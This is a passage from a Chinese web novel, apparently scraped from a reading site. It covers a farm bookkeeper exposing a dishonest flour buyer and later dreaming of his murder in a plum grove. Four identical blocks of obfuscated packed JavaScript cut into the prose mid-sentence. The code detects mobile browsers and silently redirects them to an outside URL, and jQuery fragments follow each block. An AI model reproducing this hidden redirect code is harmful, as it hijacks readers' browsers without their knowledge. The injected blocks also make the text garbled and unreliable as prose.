天边泛着青光，一条主街从东头贯到西头。两边都是体面敞亮的铺子，或是小巧精致的推车，见不着一落地摊。 前头那几家都是上回马三哥带她去过的地方，再去也问不出什么来。 后街不比前街繁荣，地面也沾着许多污渍。一个穿着单薄的货郎挑着担一晃一晃，箩筐里拨浪鼓叮咚响，悠悠向远处行。街两边散了好几处小摊，都是些年纪大的老人家摆的。 一个卖菜的婆子蹲在地上，面前摆着几把蔫头巴脑的青菜，她目光望着来来往往人群，也不开口招和。 宋文楚走过去拿起一把翻来覆去看了看，老婆子被她看得紧张，嘴唇嗫嚅着想夸几句自家菜好，又实在没脸夸下去。 “小姑娘，买菜吗？”好不容易问出这句。 宋文楚叹口气：“不买。就是看着婆婆的菜，想起我家还有好几张等吃饭的嘴，心里面好愁的呢。” “你家里人很多吗？” 她深深叹了口气，这口气叹得又长又无奈。 “唉，不瞒您说，我一家子刚从外地逃荒过来，到这里人生地不熟的，好不容易安顿下来，这不就得想着吃饭的事了。我家中七八口人呢，吃饭穿衣样样要钱，哪里有这么多钱！今日哥哥带着我来采购，问了一圈人都说孙记的东西好，可那价钱……贵得吓人，穷苦人家哪里吃得起啊？我就想问问，这附近有没有哪家买的东西能便宜实惠点的？我们也不求东西多好，只要够一大家子能吃能用就好啦。” 狗剩适时念叨几句酸诗，直叹这世道艰难，物价腾贵。 老婆子虽然听不懂这后生说了个啥，但应着宋文楚的话也明白是个什么意思。她很同情这个小姑娘， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344449|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就把摊子里仅有的那几把蔫青菜全往宋文楚手里塞，伸出的手黑黢黢，枯巴巴的。 宋文楚心里瞬间不是个滋味，闷闷堵堵的。她赶紧把青菜放回摊子上，推辞道：“我不要我不要，婆婆您自己留着卖吧。” 老婆子握着青菜根，说道：“你们在这条街上往东走，会过个十字街接着再往北拐，就能看到条巷子。进入第三家便是间磨坊，门脸破破烂烂的也没啥招牌。那家是个姓冯的老头子一个人守着，磨的面都很便宜，比孙记能便宜个五成，就是——”老婆子低下头，似有些羞于启齿。 “就是他家面都是些陈了不知多少年的面了，肯定是不新鲜的。可穷人家也讲究不起这些了，能吃就行。我家的米粮都是从那儿买的，也没吃过出什么问题，你要是不嫌弃的话可以去看看。” 宋文楚忙点头如捣蒜。 “多谢婆婆指点！不嫌弃不嫌弃，有的吃就不错了还挑什么新鲜不新鲜。” 她从口袋里摸出几个铜板，往老婆子手里塞。 “婆婆，您这几把菜我买了。” “姑娘这是做什么？几把蔫菜没人买不值钱的，送你就成了。”老婆子不肯收她的钱。 宋文楚也不跟她继续掰扯，直接把铜钱放在摊布上，抓着那几把菜就跑，边跑边回头招手：“婆婆，我先去了，回头要是真买着便宜面再来谢您！” 老婆子摊子对面的几个老伙计本来在打着盹，听到那边嚷嚷着声音，一个小姑娘背对着他们和老婆子拉拉扯扯，说着说着竟抢了菜就跑！ 老伙计们这下子可急了，这条街上都是相熟的人了，自己地盘怎么能让外人给欺负到头上？一个个的抄起家伙就冲上前逮住这两兔崽子。 追着跑出了半条街，还是老婆子踉踉跄跄追在后面喊了好一会儿“误会误会，小姑娘付过钱的！”骨头架子恨不得都要跑散了，她一把老骨头啥时候经历过这种风浪？哎。 两个人被撵了跑得急头白脸的，好在终于不追了，他们停下来狠狠喘着粗气。 狗剩本来跟在她后头的，此刻走到她边上：“这些老人家怎么腿脚比年轻人还利落呢？” 宋文楚趁机把那几把青菜塞他怀里。 巷子第三家，果然有间磨坊。 狗剩推开门，眼睛先在院里溜了一圈没见着人，宋文楚从他胳膊底下钻进去，大声喊道：“有人没，买面！” “谁啊？” 西厢房里走出个驼背老头，将门虚掩着，还能听到里面石磨转动声音。 老头眯眼打量二人。 宋文楚先发制人：“是马三哥让我们来的。” 老头背是佝偻的，眼神却很犀利：“马三哥？哪个马三哥？” “哎呀！就是常来您这儿买面的那个马三哥啊。面皮子白净，说话也斯斯文文的，每回来都要买不少带走。” “那他怎么不自己来？” 宋文楚左右张望张望，推着狗剩去把大门关上，这才说： “冯阿公您是不知道呀，马三哥那边现在叫人盯上了！” 17. 人粮猪食 他没说不认识马三哥，只问马三哥为什么没自己来。 果然如此，马三哥的面就是在这儿买的。 “盯上了？关我什么事。你买不买面？不买就走，别耽误我干活。”冯老头没什么表情，语气很不客气，听着是个不好相与的。 宋文楚：“买的买的！我给你讲啊，我们庄上新来了个账房先生，是个厉害的角色，年纪不大心眼却多得要死。外号‘哭震天’，意思是谁惹了她能让你哭得把天都震塌下，知道多威风了吧？哎，她成天就爱对账目，逮着那些陈年老账查，盯得可紧着呢。马三哥现在出门后脑勺上都得多长双眼睛，生怕让人给跟着。” 狗剩无奈苦笑，朝冯老头耸肩摊摊手。 “要知道采买的活儿向来都是由他一人经手，这不也实在没办法了，才派了我俩这他信得过的来替他跑跑腿。” 冯老头听着，脸上紧绷松动了一线：“这样啊。不过，你俩我怎么看着很面生？”他提防心又起。 宋文楚一脸老沉：“是面生。可不面生也不敢来，但凡脸熟点儿的庄客，那账房先生都盯着呢。” 冯老头看着他俩，琢磨着她的话里有几分可信。 宋文楚知道，这老头在马三哥那儿拿惯了便宜心里头有鬼，凡事都要多三分小心。 “冯阿公，我知道现在特殊时期凡事都得仔细着些，您要是不信，咱们也没法子，只是这差恐怕就难交了。您想想，我俩要不是马三哥派来的又没人领着，怎么摸得着这地方？怎么一上来就晓得您姓冯？刚刚我俩一进门我可是二话不说，就先报马三哥的名号的。要不是他亲口交代的，谁敢这么大胆？” 宋文楚没给他开口的机会，她往后退了半步，脸上笑一收。 “算了算了，老人家不信，咱们就走吧。回去跟马三哥说，这生意做不成了，往后让他另寻别家便宜的店吧。” 狗剩会意，立刻应了一声“哎”，跟着往外走。 宋文楚走出五步，心里默数。 一。 宋文楚手搭上门框。 二。 宋文楚迈步跨出门槛。 三—— “等一下。” 宋文楚歪头看狗剩，二人齐齐露出个狡黠的笑。 “行了行了，马三那小子倒是会挑人，挑了个这么嘴皮子利落的来。要几袋？” “一袋就够了，我俩头回出来办这事，要小心着些。” 冯老头从西厢房中拖了袋出来：“老规矩，还是那个价。” 宋文楚的心一跳，那个价是什么价？ 好在她很快想起卖菜婆婆提过，冯记面粉比孙记面粉便宜五成。 马三哥报账，孙记市价每袋一百二十文，五成就是六十文，她只买一袋也打不了折扣—— 她递了六十文过去，冯老头一言未发流畅接下。 狗剩弯身扛面的功夫，宋文楚想了想又让冯老头再给称了两斤面，老头不解但仍照做了。 出了后街，拐上河岸，正午日色明暖，宋文楚一手提面一手拎蔬，狗剩扛着大面袋走在身旁，二人沿清水河走到停车处，载着所得而归。 两个时辰后。 回到庄上，狗剩将那袋面搁在库房门口，宋文楚则拎着两斤面去了厨房。午饭时候已经过了，此刻大翠花在厨房正收拾灶台，见着宋文楚立刻雀跃又有些紧张。 宋文楚将那包面给她，临走前附耳嘱咐一通，大翠花听得头直点，即刻挽起袖子，舀水，和面，烧灶。 馒头出锅后，大翠花用笼布包起来放在篮子里。提着篮子往外走。一边往库房方向走，一边招呼经过的人：“来来来，尝尝新面蒸的馒头！哭震天今儿个从镇上带回来的新面，看看好不好吃！” 这一嗓子喊出去，庄上的人陆陆续续就聚过来了。 贾阎王是最后分到的。 他站在人群外围双臂抱在胸前静静看着，眼色比他额间抹额更为深沉。 书生练家子咬下一口嚼了嚼，目光透着疑惑：“这味儿，跟咱们平时吃的好像没什么两样啊？” 旁边一个帮厨的点头：“是差不多。颜色比平常的要白些，不过吃到嘴里一个味儿。” “也不是这么说，”他又尝了两口补充道，“跟上个月的不太像。” 众人一听这话也陷入了思考。 有人道：“诶，你们发现没有？似乎每个月馒头味儿都不一样。有时吃得香有时吃得不香，有时白有时黄。我一直以为是我嘴刁，原来你们也觉着了？” “是是是，”又有人接嘴，“我记得前几天的馒头特别硬，吃在嘴里都又涩又酸，我还以为是大翠花面没发好呢。” “是有这么回事，我吃完舌头苦了一天都没缓过来。” 大翠花不乐意了：“放你个狗屁，我手艺什么时候出过问题？是面不好！” 书生问：“那批面是哪儿买的？” 没人答得上来，他们平常又不关注这些。 不知不觉大家全都跟着大翠花步子走到了库房处。 马三哥亦被这样大的仗势吸引过来，看见贾阎王，笑着喊了声“贾叔”，又见这么多人，目光自然而然落在了宋文楚身上。 看到宋文脚边上躺了三袋面，马三哥眼皮子跳了跳，脸上依旧不动声色。 “马三哥，这袋面你认得么？”宋文楚指着其中一袋问，这口袋脏兮兮的，袋口缝着白线。 众人瞬间都噤了声：有内情！ 马三哥扫视一眼过后便笑了：“这你不是知道么？上个月我采买的孙记面粉。搁库房里放得久了，库房又潮自然而然发了霉。为着这事，前几天你不还跟着我一起去了一趟清水镇？孙记的掌柜你也见过的。” 这事儿不都过了明面么，怎么还拿出来说，马三哥此刻有点怪宋文楚的不懂事。 “这袋呢？”她又指了一口粗麻布的，袋口也是缝得很潦草的白线。 马三哥：“不认识。哭震天姑娘又买面了？怎么不跟我说一声，采买的事我去就是了，哪里劳烦到你一个账房先生亲自跑一趟呢？”言下之意，插手我的分内之事，你未免逾矩了。 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352386|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文楚不回应那句带刺的话，只指着最后那口干干净净，袋口缝着红线的面袋说：“你说第一袋是孙记的，可这才是孙记的袋子，缝口用的都是红线呢。再者，孙记的袋子都有印记，可那袋却没有。”她蹲下拉住袋口缝线处，露出一个孙字，再同样操作那袋霉面。 众人都抻长了脖子凑近看，果然如宋文楚所说一样。 马三哥不慌不忙道：“你这话说得好生奇怪，只是封口的白线红线能说明什么？米粮铺子里偶尔换换线，也不是什么稀罕事。再说了，孙记又不是只有一家，镇上孙记是老字号，可也有别家姓孙的粮铺不是？我有时候也去别家拿货，哪家便宜去哪家，这不是常理么？至于印子，兴是当时搬货的时候磨掉了呢？” 马三哥不待宋文楚回答，继续教训起她： “你呀，刚来不久很多事不清楚我都理解。我早些就说过库房这地界潮气重，面粉这种东西不能放久了，大翠花又不听非要一直搁那儿，我有什么办法？现在你又为着一根线一个印子的就大惊小怪的，倒显得我这个采买的不靠谱了。” 大翠花听他一脸无辜说些甩锅的话，就气不打一处来，反正什么都是别人的错，他自己是万分之一的错都没有的。 那么多东西不放库房放哪里？厨房堆得下吗？ 更可气的竟有几个人笑了，还附和马三哥：“说得在理。库房潮，什么东西放久了不坏？要我说啊，这事儿可不能怪马三哥，大翠花你也真是的，好好的面就这么放废了，暴殄天物啊！” 马三哥见众人附和，更装得起劲了： “哭震天姑娘，你年轻做事认真这都是好事。可很多时候，不能光看表面。你要是信不过我，往后我每趟采买你都跟着。我马三哥行得正坐得直，不怕人看。” 他说完便往后退了一步，姿态落落大方，倒显得宋文楚像个多疑的孩子小题大做了。 大翠花眉毛一拧，从人群里挤出来，往那些人面前一站。 “那面送来当天我就打开了，虽说当时还没发霉，但面都是灰的，都不知搁了多久了。你当我是那不识好歹的，好面坏面分不出来？我一个做饭的，面好不好我闻一下就知道了！用得着搁一个月？我搁一个时辰都嫌多！” 领头的脸上挂不住，一个字不敢蹦出口了。 大翠花冲宋文楚一扬下巴：“你只管说你的，有我在，谁也别想颠倒黑白。” 看大翠花那气势汹汹的模样，宋文楚有点想笑。好在她忍住了，只是轻轻地点了点头算是谢过。 “马三哥，你说得对。光凭一根线，确实说明不了什么。” “所以我今儿个去了后街的冯记磨坊一趟。” 马三哥已有猜测，还是不慌不忙模样。 “冯记？没听说过。你跑那么远做什么？镇上孙记不是挺好的？后街卖的东西只配给猪吃，可别为贪点便宜买些劣质面糊弄大伙儿，大家都在庄里待这么久了，你一来就要坏规矩吗？” 马三哥再怎么装作若无其事，显然心里还是着急了，再维系不住淡定，终是露出了恶意。 18. 尚方菜刀 马三哥慌乱之下的言语失当，令在场几个人都皱了眉。 先是宋文楚想起后街老婆婆，她那几把青菜蔫了吧唧的，恐怕摆个一天也没人问，她也不好意思吆喝。若不是宋文楚买下，怕是要原样拎回去。 老婆婆家中吃的口粮都是从冯记磨坊买的。冯老头老老实实做生意，卖出前总会再告知一声他家东西便宜就是年头陈了些，不介意再买。 没有冯老头，多少人吃不起饭，没有这些买的人，冯老头也吃不起饭。一个卖面，一个买面，谁也不比谁高贵低贱。 都是过日子的人，糊口罢了。 他们起早贪黑赚几个铜板，买一口吃的辛苦地活着。到头来，还要被人说只配给猪吃。 这话若是传到他们耳朵里，他们该多难受。 宋文楚看着马三哥的目光里凝着凛冬寒霜。狗剩垂下的手也攥成了拳头。 马三哥还想再步步紧逼，被人群外一道声音打断： “马三哥，这话说得过了。”贾阎王本来都要走了，他慢慢回过身。 “庄子没建起来那会儿，咱们跟猪抢食也不是没干过。别过多了好日子，就忘了自己以前是什么样的。”贾阎王的语气也没有多重，却莫名让人升不起反驳的话语。 马三哥没料到贾阎王会开口，在贾阎王极具压迫的注视下，他久违地感受到一丝难堪。 大翠花冷笑，早就看不惯这个死人，今日逮到他惹了众怒的机会，必须得好好磋磨他一顿。 “后街的东西给猪吃？那你买回来是什么意思？骂谁呢？你是骂我们这些吃面的都是猪，还是骂你自己连猪都不如？” “再说了，你要真嫌后街的东西寒碜，你倒是别买啊！噢，你买了，换袋子，报高价，昧下的银子揣自己兜里。这会儿倒端起架子来了？假清高给谁看呢？我呸。” 刚刚还帮腔马三哥的那几个，这会儿纷纷掉转枪头指责起马三哥说话难听、魂都飘了、认不清自己。 马三哥被挤兑得下不来台，脸阴沉了好半天。 “你说我买冯记面换孙记袋子，亲眼瞧见了？有证人吗？” 宋文楚：“今日我和狗剩一起去的冯记磨坊，那老头认得你，说了什么他也都听见了。” 狗剩极为信念坚定地点了头。 马三哥看狗剩一眼：“你也是庄里老人了，跟她掺和什么呢？她不懂事你也不懂事？行呗，你俩一块去的自然一条心。你说那老头说认得我又有什么凭据？光凭一张嘴吗？一个开磨坊的巴不得多卖几袋面，什么话说不出来？” 宋文楚笑眯眯的，一点没有被他问住想要急切辩解的意思。她继续慢条斯理着像遛狗似的将对峙战线拉长，话是一句句挤出来。 “你说得对。光凭那老头的一句话，确实说明不了什么。所以我没靠他，只是通过他的话确认了对你的怀疑。” 话音落下，她朝大翠花摊开手掌。大翠花掀开笼布往篮子底下抄起一把菜刀抖着手递过去，交接的当儿，所有人目光皆投注她二人身上。 登时与有荣焉感袭上大翠花心头，浑身血液都沸腾了。她握的不是菜刀，是尚方宝剑，她计不旋踵所向披靡策马闯敌营，奉以忠心为将军献上，将军报以微笑，手上倏然一剑捅穿敌人脑袋。 是刀是剑，是剑是刀，是天下第一无往不利的菜刀，是她终日握着劈肉砍菜的菜刀！ 宋文楚莫名地看了眼大翠花胀得通红的脸，奇奇怪怪的。她生怕大翠花再抖几下，那菜刀就掉她脚上了，迅疾夺来。 马三哥死死盯住她，阴鸷占据眼底，哪里还有平时的好脾气和煦样？ 宋文楚扶起那袋霉面靠在墙上，菜刀抵在袋口缝线处，一刀划拉下去。 裂了一条缝。 她捏着袋口往两边用力扯。 没扯开。 好像是里面有什么东西堵着，她又扯了一下还是没开。 宋文楚这回顺着袋口往下划，发出哧哧声响。 在众人好奇的目光中，麻袋坦胸露腹肚里破开个大口，可奇怪的是，却没有面粉漏出来。 所有人瞬间沉默了。 原来—— 里面竟还套着一层麻袋，袋子上写着“冯”。 一壳一里，活像一个人被剥了皮肉，露出底下的骨。 马三哥人还站在那儿，却已经死了。 “我猜你先前都是把冯记的面倒进孙记的袋子里，孙记的袋子封好口再将冯记的袋子扔了。而这批却不是换过的那批，是因为你买回来后拆了袋发现很可能已经发霉了，也不敢往厨房送，又去孙记买了新面回来交差。可银子已经花了，怎么办？霉面你也舍不得扔，也不敢给人吃，就在霉面袋子上再罩了用完剩的孙记袋子，然后将霉面先放在库房压在最底下制造个受潮的理由，等着哪天被大翠花发现只道是她放太久好赖在她头上。” 那天狗剩看到麻袋之下还是麻袋，他都吃过一惊还以为是自己看花眼了。 “可你忘了，忘了袋子隔久了受潮就容易开，我瞧着不对劲搓了几下就发现了里面别有洞天。”宋文楚从门后拖出她上次打开过的那袋面，扯开袋口向众人展示一下里面霉晃晃的面。 “上个月你报的账，买面二十袋，每袋一百二十文，共计两千四百文。孙记的价确实是每袋一百二十文，可冯记的价，每袋只有六十文。二十袋，差一千二百文。” “这三年来，你光采买的米面粮油林林总总加起来，报的价都比市价高出一截。有的是两成，有的是三成，最过分就是这回冯记磨坊的面了，竟有五成。三年下来多出来的银钱我算过了，大概是八十八两八钱。马三哥，你还有什么要说的吗？” 八十八两八钱！ 难怪都说这采买的活油水来得又足又快，好些人听得眼都红了恨不得顶替马三哥接上这活儿。 众人的嘀咕字字清晰落入了马三哥耳中，他露出无力回天的苦笑，出于最后的尊严维护，将恨意都聚向了始作俑者，犹如毒蛇般阴湿黏腻的目光缠在宋文楚身上。 宋文楚举起菜刀，瞄着他脖子位置比了个砍的动作，歪头，咧嘴笑。 马三哥狼狈躲开，挫败感更甚，他连个小丫头都吓唬不住。 最后他去看贾阎王，带着可怜巴巴的味道，赌上全部的指望都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358858|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 押在这一眼里。他看贾阎王，贾阎王也看着他，不冷不热，不怒不悯。 “明天走之前把该退的银子该结的账，一分不少退回来。” 马三哥面上最后一点血色也褪尽了，惨淡戚容，他明白自己被放弃了。这么想着反而整个人都放松下来，他什么都不在乎了。 既如此—— “贾叔，您说得轻巧。账清了就走，这庄子上的账清得了么？有些事不是查账能查出来的，有些人——” 然后马三哥就没了声。 贾阎王不知何时悄然而至他身后，他的手指落在马三哥身上，马三哥就被钉在了原地。贾阎王朝书生示意，让书生送他回去收拾东西。书生上前扛起马三哥就往他屋方向走。 马三哥只有眼珠还能转，转着转着，他眼里浮起一层薄薄的雾气。 一个帮厨的先凑了上来：“哭震天，这回可多亏了你！若不是你查账查得好，这庄上的银子还不知道要被马三哥昧多少呢！” 几个长工不甘示弱，可他们实在说不出什么有水平的话，只会干巴巴来一句： “我早知你是个厉害的！” “眼力真尖！” “哭震天少年英才！” 大翠花斜他们一眼，冷嗤一声：“方才你们可不是这么说的，马后炮。”她转向宋文楚又换上亲亲热热的态度，话语里带着点担忧。 “我见他最后觑你的眼神，怕是被他记上仇了，往后出行可得留心些呐。这种阴险小人自己犯了事，倒把气撒在别人身上，好生混账。” 狗剩笑了笑：“怕什么？哭震天有菜刀。” 宋文楚举刀扬了扬，向大翠花展示自己的底气：“敢找我麻烦我砍他，有的是力气和手段。” 大翠花被她逗得哈哈大笑，连连道有劲就好有劲就好，捏起个拳与刀背相撞，宋文楚抓得稳稳的。 趁贾阎王还没走，帮厨的似无意状将肚里揣度过七八回的话倒了出来：“说起来，往后这采买的活儿可得找个靠谱的人。我有个远房亲戚，在清水镇上开铺子的——” 他话没说完，就被一个长工截了去：“你可拉倒吧，八竿子打不着的亲戚，不如我去问问我媳妇，她娘家侄子在孙记当过伙计——” “以为你就很好吗？我表舅的连襟——” 几个人声音越来越大，说到最后几乎骂上架了，甚至还约好个某个时间比划比划。 贾阎王听得烦：“行了。采买的人选我心里有数，全都散了吧。” 这群聒噪麻雀总算散了场。 把人赶散了他就走了，从宋文楚身边经过的时候，也没给一个眼神或一句话。 宋文楚不在乎他说什么，便是说了什么，左不过也跟那些人差不离的捧场话。可他什么也没说倒让她生了点疑惑，宋文楚隐隐有感觉，自她来庄子那天，贾阎王就对她抱有莫名的敌意。 之前贾阎王打断马三哥未说出的话，里面藏着什么呢？ 莫不是被他捏了贾阎王什么把柄在手里？ 也许只是嫌马三哥啰嗦，也许就是马三哥临走了想放句狠话，现在她也想不出个所以然来。 19. 梅影幽魂 梦里宋文楚不知身在何方，有人拥住她拍着她背，一如少时曾得到过的温暖。 这是梦吧？ 是的话别醒，别醒，再多沉溺一会儿。 然后，脸上就“啪”地挨了一下。 她翻个身，那翅膀又追过来拍脸上，她再翻它再追……啪，又是一下，这回正正拍在鼻梁上。 “宋展翅！” 宋文楚一把掀开被子坐起来，眼都没睁，就往被子上呼了一巴掌，鲲被呼得往后蹦了两步。 它不动了，眼珠子滴溜溜望她，爪子牢牢扒住被罩翅膀颤得急促。 她跟宋展翅认识不是一天两天，见它这副模样瞬间明白过来。 它不是来闹她的，它是来叫她的——外面有异常动静。 宋文楚趿上鞋，捞起衣服就往身上套，宋展翅落在她肩头，听她一声号令走，立马啾啾两声作号角。 随它指引，通往一条窄窄的山路。她曾听大翠花提过后山有片梅林，却从未前来看过。 现在她踏入了这片梅林，见到大翠花口中枝上缀的花骨朵是梅花样的星。冷香凝醉，凭发丝拂面，如听宫商，婵娟不见踪影，只从落在枝桠间上簌簌灰白的光中可窥视它模样。 她在梅林中穿梭前行去向深深的黑夜。 前面有人声。 宋文楚闪身躲到一颗老梅树后，扶住树身朝外看，风摇下几片梅花沾在她肩上。 声音是狗剩的，他人融在了夜色里。 宋文楚打量他一身的夜行装，他白天不是这衣裳吧？ 另一个是马三哥，他们说着话，音节零零碎碎听不真切。 贾阎王不是说让马三哥明天才走么？大半夜的，这么急着赶人做什么？缺的银子都还回来了？他那个包袱鼓鼓的，不会是卷了庄里的银钱跑路吧…… 宋文楚正想着，肩上的鲲忽然缩起翅膀遮住自己的眼睛，脑袋往她脖子里钻。宋文楚没工夫理它。因为那边狗剩和马三哥已经道别完了，狗剩往后退了一步，马三哥转身就要往另一条道上走。偏门就在前面不远，门外停了辆马车一看就是为马三哥准备的。 狗剩站在原地，还未离开。 宋文楚缩回树后，心跳得很快。她该站出来么？问问他为什么要大半夜的送人么？还是等他走了，自己悄悄回去当什么都没看见？她还没想明白—— 接着就听见了一声响动。 是裂帛脆响，是利器刺入皮肉闷响。 狗剩面对她的方向，他右手反握剑柄，剑身从马三哥的背后穿进去，剑尖或许从前胸透出来，他如一个冷酷的剑客。 剑刃从马三哥身体里抽出来，马三哥跪在地上，手撑着地，没撑过三息，身体倾倒扎进尘土里，衣角被狗剩拭净了剑上血迹。 狗剩从怀里摸出一只瓷瓶，拔开瓶塞，瓶中粉末均匀抖在马三哥尸身上，这具尸身如艳阳下的积雪迅速消融。 很快地上便干干净净的，没有马三哥，没有衣布，什么都没有。 狗剩沿着来时的路往回走，走到宋文楚躲的那棵梅树边时停住了，看过来。 她屏住呼吸，努力控制住自己剧烈跳动的心跳。 狗剩踩进遮挡的蕨丛，伸手拨开头顶的梅枝…… 三十问娘三十问娘，初来老母猪庄问短长。 姓甚名谁做何营生可有文牒可有保人可有契书可有规矩—— 问得狗剩掰手指，一数数到月昏黄。 哭震天呀哭震天，账房里头翻旧篇。 孙记红线冯记白线一袋霉面两层皮，面袋受潮肚开起。 问完面粉问银钱，问得马三哥白了脸。 三十问娘三十问娘，半夜三更何故往后山。 见剑穿肠，见梅剥落。 马三哥骨血化了翩翩蝶，衣裳散了袅袅烟。 哭震天呀哭震天，你躲在树后看见了那一眼。 是梦不是梦？是真是假？ 楚文文楚，文楚楚文。 你，是谁？ 宋文楚猛然睁开眼，背后衣襟湿了大片，那首古怪歌谣余音仍萦绕耳边，庄中历往一一数来。少顷，恐惧随记忆的消散而退，思绪又飘回到夜半，狗剩发现她了吗？她又是怎么回来的？ 她怎么都想不起后来之事。心悸不止，她跳下床收拾自己的东西，好像也没什么值得收拾的，她来的时候就是空手而来。 那件蜀锦找不着了，叹了口气便罢了。可宋展翅也不见了，她将屋内翻了个遍，甚至连素心的几根叶子扒拉开寻寻，也没见鲲蹲里边。 宋文楚掀开门，径直冲到管事房外呼唤狗剩，半天没人出来。她跑去厨房，灶是冷的米是生的，肉搁在盆子中泡血水。 厨房没人，长工屋没人，柴房没人，井台边没人，库房没人，后山……后山她不敢再去。 她站在庭院当中四下里望望，太阳明晃晃照着她，照得她恍惚。 整个庄成了座空城。 她去到猪圈，哦猪圈倒是热闹的，里面十几头老母猪还在。挤在栏里哼哼唧唧，看见她来，老母猪精光放亮的眼珠子盯住她，拱着鼻等人喂食。 宋文楚需要做点什么来缓解焦虑，于是她决定喂猪。套上件油腻腻的围裙，拎起墙角整桶拌好的猪食，好险——差点没拎动，这摔身上可不是闹的。哗啦啦倒进槽中，老母猪一哄而上，嘴吃得满足，尾巴甩得欢实。 她看了会儿猪抢食，猪只用吃就够了别的事无需想。可她得想，庄里的人一夜间都到哪儿去了？ 脱了围裙挂在钉子上，她又往回走。走到前院，一扇门从里开了，与她的脚步声同时停下。 一人站在门口，一手掩衣襟一手系领口盘扣。 “吵什么吵？”困于死寂樊笼中的苍鹰听闻天外同伴呼引，枷锁无解自弥。 贾阎王粗糙的声音此刻听在宋文楚耳里犹如天籁，即便这人是贾阎王，她竟也有点不敢置信。 “贾阎王——！”宋文楚高声呐喊发自肺腑的喜悦，顾不上对他的膈应与讨厌了。 话出了口，响彻了前院，她才反应过来喊了什么。 贾阎王陷入了沉思。在这庄子上有人叫他贾叔，有人叫他贾大人，有人叫他贾爷，还没人敢当面叫他贾阎王。贾阎王这外号他知道，庄上的人背地里怎么叫随他们反正自己听不着。 但刚刚哭震天这么大喇喇喊出来，他耳朵也不聋听得见。 只怕这贾阎王该阴阳怪调数落起她了，宋文楚立即赶在挨批前问：“庄上人呢？早上一醒来就没见着一个人影，猪都喂过一趟了。” “今日休沐恰逢了一年里头清水镇最大的庙会，庄上人天没亮就走了，你没听见动静？” 宋文楚摇摇头，也没人喊她呀。 贾阎王也没追问，还是冷冷淡淡的样子：“今天没人做饭，自己随便弄点吃吧。” 不是没人了，是赶集去了。不是出事了，是赶集去了。她心里念一遍信一分，念了几遍后已经信了大半。 这心一放下，脑中梅林所见又浮上来，她有点犹豫却不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364517|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不问。 “马三哥呢，他也去赶集了？” 贾阎王瞥她一眼，裹着令宋文楚熟悉讨厌的目空一切。 “我不知道他是不是赶集去了，早上他把该退的银子交完就走了，想去哪儿我也管不着。怎么，找他有事？” 马三哥早上走了？那她昨晚看到的都是什么？ 她踩在现实与梦境的边界，分不清哪边真假。可，宋展翅是真的没了。 它能去哪儿呢？ “扣子扣错了。”贾阎王丢下这一句走了。宋文楚注意力拉回，低下头看领口，第一颗扣子扣进了第二颗的扣眼里，从一开始就错了。 她面上发烫伸手去解，衣裳扯动间，余光瞟见什么从肩上打着旋儿飘来，擦过她脸…… 一片卷边枯黄的梅花瓣落在她接来的手心里。 …… 九庐县隶属扬州府，地处江淮平原腹地，北枕运河南望群山，治下十一里镇一百三十余村。全县编户二千三百有奇，丁口约一万四千余，在扬州府诸县中不上不下算个中等盘子。 永安以来，税沿旧制，田赋每亩征粮五升，县中多水田种稻麦两熟，丰年糊口，灾年勒紧裤腰带。丁税以人头算，商税十取其一。除正税外加之各类杂税，民不堪其重，官言“取用于民”，民声“剥皮抽筋”。 运河官船往来，水涨薪高，人越跑越少。由此，九庐县的赋税几十年来就没收齐过。 县丞韩山绍兴人，监生出身，四年前初调九庐县，不动声色扮佛面，斡旋暗访摸黄册，雷厉风行清吏治、压豪强、改税制，揽握大权。 然，四年县丞四年劳，四年考评评中上。 治清则无功，废乱则获咎。升不上去，贬不下来，难！ 近月韩山翻出一卷流民安置书，阅之有疑。其治下清水镇老母猪庄，人口仅三十七口，田不加亩而赋日增，人未添几而仓廪实。庄中采买于镇，银足色，不赊欠，比之他村殷实，数之他村列末。县丞韩山在任四载，熟稔境内村册，竟不曾留意此庄。 